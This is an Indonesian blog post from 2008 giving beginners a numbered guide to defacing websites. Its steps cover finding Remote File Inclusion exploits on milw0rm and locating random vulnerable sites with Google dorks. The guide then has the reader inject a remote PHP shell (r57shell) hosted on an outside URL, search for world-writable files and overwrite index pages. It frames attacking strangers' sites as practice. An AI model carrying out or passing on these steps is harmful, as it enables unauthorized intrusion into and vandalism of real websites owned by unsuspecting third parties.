Kamis, 31 Juli 2008

Tips dan Trick Hacking



Tips dan Trik -- How To Defaced | Kiddie Way
How To Defaced | Bagaimana caranya mendeface.
ini pertanyaan yang banyak bagi Pemula[newbie hacker] di Dunia Internet,
Mudah kah atau Sulit kah....
Tergantung dari daya tangkap dan kecepatan Logika seseorang. bisa di kategorikan MUDAH!!!
Yang terpenting komputernya terkoneksi Internet, BUKAN INTRANET !!!
Tips dan Trik ini di peruntukan bagi yang telah mengerti cara penggunaan google dan jam terbang minimal 21600 Jam dan memahami minimal apa PHP dan HTML,


Langkah2 dan Persiapan
1.Siapkan diri untuk mendefaced[untuk mengalami kekecewaan dan deperesi karena Pulsa membengkak]
2.Persiapakan Posisi yang nyaman dari Duduk dan atur Kontras Monitor
3.Persiapkan Keyboard yang Bagus
4.Install Firefox atau Browser yang sesuai dengan kebutuhan anda
5.Perhatikan lingkungan sekitar[kemungkinan ada yang punya site/web berada di samping anda]
6.Siapkan Coretan, atau Notepad[kalo ngga ada pake Notepadnya windows]
7.Kita Mulai

Proses !!!
1.Untuk Pemula saya sarankan jangan memilih target[Random Target dari Google]
2.Selalu belajar dari Hasil Deface
3.Buka www.milw0rm.com
4.klik Search
5.ketik Remote File Inclusion [kita menggunakan teknik ini karena lebih mudah bagi pemula]
6.Cari Exploit terbaru atau CMS/Aplikasi yang terkenal
7.Buka Google, dan liat Advisor yang kita pilih tersebut
8. * Jika terdapat DORK[kata kunci google] gunakan lah Dork tersebut, * Jika tidak gunakanlah Judul dari Exploit tersebut
9.Setelah dapat hasil dari Google, klik kanan Open NewTab[Nah ini untung nya Pake Firefox, tapi IE versi terbaru sudah bisa Open NewTAB]
10.Buka terus dari List/Daftar2 yang terdapat dari google, hingga kamu rasa penuh Browsernya
11.Coba satu persatu dari hasil tersebut dengan Exploit Command yang terdapat di advisor
12.Jika terjadi pesan error, cari Pesan error yang menyatakan kegagalan File Inclusion, bukan File No Found.
13.Jika menemukan File Not Found kemungkinan; salah Relative Path dari Site tersebut, atau memang beda versi, dan kemungkinan lain
15.Jika menemukan pesan error dari File Inclusion, atau Blank Putih tanpa Pesan Error,
16.Ganti command exploit setelah tanda '='[sama dengan] dengan http://bugs.byethost32.com/php3.txt? [phpshell yang OL/Aktif]
17.Lihat ke Layar, apakah site tersebut berhasil mengeksekusi dan menampilakan PHPShell r57shell atau hanya Blank Page, dan muncul kembali File Inclusion
18.Jika site berhasil memunculkan r57shell [phpshell] lanjutkan ke pencarian File dan Direktory yang memilikik full akses atau -rwxrwxrwx / -rw-rw-rw <-- untuk file | drwxrwxrwx / drw-rw-rw <-- untuk direktory
19.Jika telah mendapatkan file atau direktory diatas tersebut, kamu bisa mengupload file index.html versi buatan kamu, atau mengubah index.php or .html dengan versi code kamu...
20.Setelah merubah file tersebut. Coba kamu lihat di browser sesuai dengan relatife path yang kamu ubah tadi
21.Setelah Berhasil, jangan bosan2 mendefaced(mencoba).... karena ini suatu pembelajaran dan pemahaman untuk tindak Lanjut ke Depan

PERLU DI INGAT !!! HACKING BUKAN HANYA TEORI BELAKA TAPI HACKING ADALAH PRAKTEK, KENYATAAN, REAL, DAN PROSES !!!

jadi perlu banyak latihan dan belajar-belajar lagi......

Happy Hacking

Tidak ada komentar:

Posting Komentar

kritik Dan Saran Anda, Saya Terima..?